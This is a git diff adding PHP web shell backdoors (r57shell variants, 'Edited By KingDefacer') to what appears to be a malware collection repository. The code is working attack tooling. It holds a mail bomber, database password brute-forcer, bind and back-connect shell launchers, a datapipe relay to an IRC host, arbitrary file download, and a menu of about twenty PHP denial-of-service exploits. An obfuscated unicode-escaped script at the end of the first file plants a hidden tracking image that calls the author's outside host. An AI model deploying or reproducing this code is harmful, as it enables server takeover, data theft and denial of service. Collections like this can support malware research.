$te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir)); +echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("file from r57shell")))); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',30,$dir)); +echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); + +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text139']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_bomber').in('hidden','dir',0,$dir)); +echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("hello billy")))); +echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=22 rows=1>'.(!empty($_POST['text'])?($_POST['text']):("flood text here")).'</textarea>'); +echo sr(25,"<b>Flood".$arrow."</b>",in('int','mail_flood',5,(!empty($_POST['mail_flood'])?($_POST['mail_flood']):100)).ws(4)."<b>Size(kb)".$arrow."</b>".in('int','mail_size',5,(!empty($_POST['mail_size'])?($_POST['mail_size']):10))); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); + +echo $te."</td>".$fe."</tr></div></table>"; +} + + +if($mysql_on||$mssql_on||$pg_on||$ora_on) +{ +$select = '<select name=db>'; +if($mysql_on) $select .= '<option>MySQL</option>'; +if($mssql_on) $select .= '<option>MSSQL</option>'; +if($pg_on) $select .= '<option>PostgreSQL</option>'; +if($ora_on) $select .= '<option>Oracle</option>'; +$select .= '</select>'; + +echo $table_up1.div_title($lang[$language.'_text82'],'id36').$table_up2.div('id36').$ts."<tr>".$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text134']."</div></b></font>"; + +echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select.in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_brute')); +echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); +echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>"); +echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']); +echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']); +echo sr(35,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); +echo sr(25,"<b>".$lang[$language.'_text135'].$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'/passw.dic')))); +echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt1'])); + +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>"; + +echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); +echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',8,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(35,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' <b>.</b> '.in('text','mysql_tbl',8,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user")))); +echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1').in('text','dif_name',17,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql")))); +echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9'])); + +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>"; + +echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); +echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',8,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); +echo sr(35,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),""); +echo $te."<div align=center id='n'><textarea cols=30 rows=4 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSHOW TABLES;\nSELECT * FROM user;\nSELECT version();\nSELECT user();"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div>"; + +echo "</td>".$fe."</tr></div></table>"; +} + + + +if(!$safe_mode && $unix){ +echo $table_up1.div_title($lang[$language.'_text81'],'id37').$table_up2.div('id37').$ts."<tr>".$fs."<td valign=top width=25%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',10,'11457')); +echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',10,'r57')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3'])); +echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")))); +echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4'])); +echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',10,'11457')); +echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',10,'irc.dalnet.ru')); +echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',10,'6667')); +echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5'])); +echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>Proxy</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','proxy_port',10,'31337')); +echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5'])); +echo $te."</td>".$fe."</tr></div></table>"; +} + +echo $table_up1.div_title($lang[$language.'_text140'],'id38').$table_up2.div('id38').$ts."<tr><td valign=top width=50%>".$ts; +echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>"; +echo sr(10,"",$fs.in('hidden','cmd',0,'dos1').in('submit','submit',0,'Recursive memory exhaustion').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos2').in('submit','submit',0,'Memory_limit exhaustion in [ pack() ] function').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos3').in('submit','submit',0,'BoF in [ unserialize() ] function').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos4').in('submit','submit',0,'Limit integer calculate (65535) in ZendEngine').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos5').in('submit','submit',0,'SQlite [ dl() ] vulnerability').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos6').in('submit','submit',0,'PCRE [ preg_match() ] exhaustion resources (PHP <5.2.1)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos7').in('submit','submit',0,'Memory_limit exhaustion in [ str_repeat() ] function (PHP <4.4.5,5.2.1)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos8').in('submit','submit',0,'Apache process killer').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos9').in('submit','submit',0,'Overload inodes from HD.I via [ tempnam() ] (PHP 4.4.2, 5.1.2)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos10').in('submit','submit',0,'BoF in [ wordwrap() ] function (PHP <4.4.2,5.1.2)').$fe); +echo $te."</td><td valign=top width=50%>".$ts; +echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>"; +echo sr(10,"",$fs.in('hidden','cmd',0,'dos11').in('submit','submit',0,'BoF in [ array_fill() ] function (PHP <4.4.2,5.1.2)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos12').in('submit','submit',0,'BoF in [ substr_compare() ] function (PHP <4.4.2,5.1.2)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos13').in('submit','submit',0,'Array Creation in [ unserialize() ] 64 bit function (PHP <5.2.1)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos14').in('submit','submit',0,'BoF in [ str_ireplace() ] function (PHP <5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos15').in('submit','submit',0,'BoF in [ htmlentities() ] function (PHP <5.1.6,4.4.4)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos16').in('submit','submit',0,'Integer Overflow in [ zip_entry_read() ] function (PHP <4.4.5)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos17').in('submit','submit',0,'BoF in [ sqlite_udf_decode_binary() ] function (PHP <4.4.5,5.2.1)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos18').in('submit','submit',0,'Memory Allocation BoF in [ msg_receive() ] function (PHP <4.4.5,5.2.1)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos19').in('submit','submit',0,'Off By One in [ php_stream_filter_create() ] function (PHP 5<5.2.1)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos20').in('submit','submit',0,'Reference Counter Overflow in [ unserialize() ] function (PHP <4.4.4)').$fe); +echo $te."</td></tr></div></table>"; + +echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=Verdana size=-2><b>o---[ r57shell | version ".$version." | <a href=http://alturks.com>alturks.com</a> | <a href=http://alturks.com>alturks.com</a> | <a href=http://www.alturks.com>KingDefacer</a> | Generation time: ".round(getmicrotime()-starttime,4)." ]---o</b></font></div></td></tr></table>"; +echo '</body></html>'; + ?> + <script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/r57shell2.0.txt b/web-malware-collection-master/Backdoors/PHP/r57shell2.0.txt new file mode 100755 index 0000000..bee75ca --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/r57shell2.0.txt @@ -0,0 +1,2130 @@ + +<?php +$language='eng'; +$auth = 0; +$name='c5aa3124b1adad080927ce4d144c6b33'; //ronaldo +$pass='c5aa3124b1adad080927ce4d144c6b33'; //ronaldo +/******************************************************************************************************/ +error_reporting(0); +set_magic_quotes_runtime(0); +@set_time_limit(0); +@ini_set('max_execution_time',0); +@ini_set('output_buffering',0); +$safe_mode = @ini_get('safe_mode'); +$version = "2.0.20"; +if(version_compare(phpversion(), '4.1.0') == -1) + { + $_POST = &$HTTP_POST_VARS; + $_GET = &$HTTP_GET_VARS; + $_SERVER = &$HTTP_SERVER_VARS; + } +if (@get_magic_quotes_gpc()) + { + foreach ($_POST as $k=>$v) + { + $_POST[$k] = stripslashes($v); + } + foreach ($_SERVER as $k=>$v) + { + $_SERVER[$k] = stripslashes($v); + } + } + +if($auth == 1) { +if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass) + { + header('WWW-Authenticate: Basic realm="KingDefacer"'); + header('HTTP/1.0 401 Unauthorized'); + exit("<b><a href=id=nobody.com>KingDefacer</a> : Access Denied</b>"); + } +} +$head = '<!-- --> +<html> +<head> +<title>Edited By KingDefacer</title> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> + +<STYLE> +tr { +BORDER-RIGHT: #aaaaaa 1px solid; +BORDER-TOP: #eeeeee 1px solid; +BORDER-LEFT: #eeeeee 1px solid; +BORDER-BOTTOM: #aaaaaa 1px solid; +} +td { +BORDER-RIGHT: #aaaaaa 1px solid; +BORDER-TOP: #eeeeee 1px solid; +BORDER-LEFT: #eeeeee 1px solid; +BORDER-BOTTOM: #aaaaaa 1px solid; +} +.table1 { +BORDER-RIGHT: #cccccc 0px; +BORDER-TOP: #cccccc 0px; +BORDER-LEFT: #cccccc 0px; +BORDER-BOTTOM: #cccccc 0px; +BACKGROUND-COLOR: #D4D0C8; +} +.td1 { +BORDER-RIGHT: #cccccc 0px; +BORDER-TOP: #cccccc 0px; +BORDER-LEFT: #cccccc 0px; +BORDER-BOTTOM: #cccccc 0px; +font: 7pt Verdana; +} +.tr1 { +BORDER-RIGHT: #cccccc 0px; +BORDER-TOP: #cccccc 0px; +BORDER-LEFT: #cccccc 0px; +BORDER-BOTTOM: #cccccc 0px; +} +table { +BORDER-RIGHT: #eeeeee 1px outset; +BORDER-TOP: #eeeeee 1px outset; +BORDER-LEFT: #eeeeee 1px outset; +BORDER-BOTTOM: #eeeeee 1px outset; +BACKGROUND-COLOR: #D4D0C8; +} +input { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: 8pt Verdana; +} +select { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: 8pt Verdana; +} +submit { +BORDER-RIGHT: buttonhighlight 2px outset; +BORDER-TOP: buttonhighlight 2px outset; +BORDER-LEFT: buttonhighlight 2px outset; +BORDER-BOTTOM: buttonhighlight 2px outset; +BACKGROUND-COLOR: #e4e0d8; +width: 30%; +} +textarea { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: Fixedsys bold; +} +BODY { +margin-top: 1px; +margin-right: 1px; +margin-bottom: 1px; +margin-left: 1px; +} +A:link {COLOR:red; TEXT-DECORATION: none} +A:visited { COLOR:red; TEXT-DECORATION: none} +A:active {COLOR:red; TEXT-DECORATION: none} +A:hover {color:blue;TEXT-DECORATION: none} +</STYLE>'; +class zipfile +{ + var $datasec = array(); + var $ctrl_dir = array(); + var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; + var $old_offset = 0; + function unix2DosTime($unixtime = 0) { + $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); + if ($timearray['year'] < 1980) { + $timearray['year'] = 1980; + $timearray['mon'] = 1; + $timearray['mday'] = 1; + $timearray['hours'] = 0; + $timearray['minutes'] = 0; + $timearray['seconds'] = 0; + } + return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | + ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); + } + function addFile($data, $name, $time = 0) + { + $name = str_replace('\\', '/', $name); + $dtime = dechex($this->unix2DosTime($time)); + $hexdtime = '\x' . $dtime[6] . $dtime[7] + . '\x' . $dtime[4] . $dtime[5] + . '\x' . $dtime[2] . $dtime[3] + . '\x' . $dtime[0] . $dtime[1]; + eval('$hexdtime = "' . $hexdtime . '";'); + $fr = "\x50\x4b\x03\x04"; + $fr .= "\x14\x00"; + $fr .= "\x00\x00"; + $fr .= "\x08\x00"; + $fr .= $hexdtime; + $unc_len = strlen($data); + $crc = crc32($data); + $zdata = gzcompress($data); + $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); + $c_len = strlen($zdata); + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + $fr .= pack('v', strlen($name)); + $fr .= pack('v', 0); + $fr .= $name; + $fr .= $zdata; + $this -> datasec[] = $fr; + $cdrec = "\x50\x4b\x01\x02"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x14\x00"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x08\x00"; + $cdrec .= $hexdtime; + $cdrec .= pack('V', $crc); + $cdrec .= pack('V', $c_len); + $cdrec .= pack('V', $unc_len); + $cdrec .= pack('v', strlen($name) ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('V', 32 ); + $cdrec .= pack('V', $this -> old_offset ); + $this -> old_offset += strlen($fr); + $cdrec .= $name; + $this -> ctrl_dir[] = $cdrec; + } + function file() + { + $data = implode('', $this -> datasec); + $ctrldir = implode('', $this -> ctrl_dir); + return + $data . + $ctrldir . + $this -> eof_ctrl_dir . + pack('v', sizeof($this -> ctrl_dir)) . + pack('v', sizeof($this -> ctrl_dir)) . + pack('V', strlen($ctrldir)) . + pack('V', strlen($data)) . + "\x00\x00"; + } +} +function compress(&$filename,&$filedump,$compress) + { + global $content_encoding; + global $mime_type; + if ($compress == 'bzip' && @function_exists('bzcompress')) + { + $filename .= '.bz2'; + $mime_type = 'application/x-bzip2'; + $filedump = bzcompress($filedump); + } + else if ($compress == 'gzip' && @function_exists('gzencode')) + { + $filename .= '.gz'; + $content_encoding = 'x-gzip'; + $mime_type = 'application/x-gzip'; + $filedump = gzencode($filedump); + } + else if ($compress == 'zip' && @function_exists('gzcompress')) + { + $filename .= '.zip'; + $mime_type = 'application/zip'; + $zipfile = new zipfile(); + $zipfile -> addFile($filedump, substr($filename, 0, -4)); + $filedump = $zipfile -> file(); + } + else + { + $mime_type = 'application/octet-stream'; + } + } +function mailattach($to,$from,$subj,$attach) + { + $headers = "From: $from\r\n"; + $headers .= "MIME-Version: 1.0\r\n"; + $headers .= "Content-Type: ".$attach['type']; + $headers .= "; name=\"".$attach['name']."\"\r\n"; + $headers .= "Content-Transfer-Encoding: base64\r\n\r\n"; + $headers .= chunk_split(base64_encode($attach['content']))."\r\n"; + if(@mail($to,$subj,"",$headers)) { return 1; } + return 0; + } +class my_sql + { + var $host = 'localhost'; + var $port = ''; + var $user = ''; + var $pass = ''; + var $base = ''; + var $db = ''; + var $connection; + var $res; + var $error; + var $rows; + var $columns; + var $num_rows; + var $num_fields; + var $dump; + + function connect() + { + switch($this->db) + { + case 'MySQL': + if(empty($this->port)) { $this->port = '3306'; } + if(!function_exists('mysql_connect')) return 0; + $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass); + if(is_resource($this->connection)) return 1; + break; + case 'MSSQL': + if(empty($this->port)) { $this->port = '1433'; } + if(!function_exists('mssql_connect')) return 0; + $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass); + if($this->connection) return 1; + break; + case 'PostgreSQL': + if(empty($this->port)) { $this->port = '5432'; } + $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'"; + if(!function_exists('pg_connect')) return 0; + $this->connection = @pg_connect($str); + if(is_resource($this->connection)) return 1; + break; + case 'Oracle': + if(!function_exists('ocilogon')) return 0; + $this->connection = @ocilogon($this->user, $this->pass, $this->base); + if(is_resource($this->connection)) return 1; + break; + } + return 0; + } + + function select_db() + { + switch($this->db) + { + case 'MySQL': + if(@mysql_select_db($this->base,$this->connection)) return 1; + break; + case 'MSSQL': + if(@mssql_select_db($this->base,$this->connection)) return 1; + break; + case 'PostgreSQL': + return 1; + break; + case 'Oracle': + return 1; + break; + } + return 0; + } + + function query($query) + { + $this->res=$this->error=''; + switch($this->db) + { + case 'MySQL': + if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection))) + { + $this->error = @mysql_error($this->connection); + return 0; + } + else if(is_resource($this->res)) { return 1; } + return 2; + break; + case 'MSSQL': + if(false===($this->res=@mssql_query($query,$this->connection))) + { + $this->error = 'Query error'; + return 0; + } + else if(@mssql_num_rows($this->res) > 0) { return 1; } + return 2; + break; + case 'PostgreSQL': + if(false===($this->res=@pg_query($this->connection,$query))) + { + $this->error = @pg_last_error($this->connection); + return 0; + } + else if(@pg_num_rows($this->res) > 0) { return 1; } + return 2; + break; + case 'Oracle': + if(false===($this->res=@ociparse($this->connection,$query))) + { + $this->error = 'Query parse error'; + } + else + { + if(@ociexecute($this->res)) + { + if(@ocirowcount($this->res) != 0) return 2; + return 1; + } + $error = @ocierror(); + $this->error=$error['message']; + } + break; + } + return 0; + } + function get_result() + { + $this->rows=array(); + $this->columns=array(); + $this->num_rows=$this->num_fields=0; + switch($this->db) + { + case 'MySQL': + $this->num_rows=@mysql_num_rows($this->res); + $this->num_fields=@mysql_num_fields($this->res); + while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res))); + @mysql_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + case 'MSSQL': + $this->num_rows=@mssql_num_rows($this->res); + $this->num_fields=@mssql_num_fields($this->res); + while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res))); + @mssql_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}; + break; + case 'PostgreSQL': + $this->num_rows=@pg_num_rows($this->res); + $this->num_fields=@pg_num_fields($this->res); + while(false !== ($this->rows[] = @pg_fetch_assoc($this->res))); + @pg_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + case 'Oracle': + $this->num_fields=@ocinumcols($this->res); + while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++; + @ocifreestatement($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + } + return 0; + } + function dump($table) + { + if(empty($table)) return 0; + $this->dump=array(); + $this->dump[0] = '##'; + $this->dump[1] = '## --------------------------------------- '; + $this->dump[2] = '## Created: '.date ("d/m/Y H:i:s"); + $this->dump[3] = '## Database: '.$this->base; + $this->dump[4] = '## Table: '.$table; + $this->dump[5] = '## --------------------------------------- '; + switch($this->db) + { + case 'MySQL': + $this->dump[0] = '## MySQL dump'; + if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0; + if(!$this->get_result()) return 0; + $this->dump[] = $this->rows[0]['Create Table']; + $this->dump[] = '## --------------------------------------- '; + if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);} + $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'MSSQL': + $this->dump[0] = '## MSSQL dump'; + if($this->query('SELECT * FROM '.$table)!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} + $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'PostgreSQL': + $this->dump[0] = '## PostgreSQL dump'; + if($this->query('SELECT * FROM '.$table)!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} + $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'Oracle': + $this->dump[0] = '## ORACLE dump'; + $this->dump[] = '## under construction'; + break; + default: + return 0; + break; + } + return 1; + } + function close() + { + switch($this->db) + { + case 'MySQL': + @mysql_close($this->connection); + break; + case 'MSSQL': + @mssql_close($this->connection); + break; + case 'PostgreSQL': + @pg_close($this->connection); + break; + case 'Oracle': + @oci_close($this->connection); + break; + } + } + function affected_rows() + { + switch($this->db) + { + case 'MySQL': + return @mysql_affected_rows($this->res); + break; + case 'MSSQL': + return @mssql_affected_rows($this->res); + break; + case 'PostgreSQL': + return @pg_affected_rows($this->res); + break; + case 'Oracle': + return @ocirowcount($this->res); + break; + default: + return 0; + break; + } + } + } +if(isset($_GET['img'])&&!empty($_GET['img'])) + { + $images = array(); + $images[1]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI9pkODnYohUhQIAOw=='; + $images[2]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI+pwA3hnmlJhgIAOw=='; + @ob_clean(); + header("Content-type: image/gif"); + echo base64_decode($images[$_GET['img']]); + die(); + } +if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name'])) + { + if(!$file=@fopen($_POST['d_name'],"r")) { echo re($_POST['d_name']); $_POST['cmd']=""; } + else + { + @ob_clean(); + $filename = @basename($_POST['d_name']); + $filedump = @fread($file,@filesize($_POST['d_name'])); + fclose($file); + $content_encoding=$mime_type=''; + compress($filename,$filedump,$_POST['compress']); + if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); } + header("Content-type: ".$mime_type); + header("Content-disposition: attachment; filename=\"".$filename."\";"); + echo $filedump; + exit(); + } + } +if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); } +if ($_POST['cmd']=="db_query") + { + echo $head; + $sql = new my_sql(); + $sql->db = $_POST['db']; + $sql->host = $_POST['db_server']; + $sql->port = $_POST['db_port']; + $sql->user = $_POST['mysql_l']; + $sql->pass = $_POST['mysql_p']; + 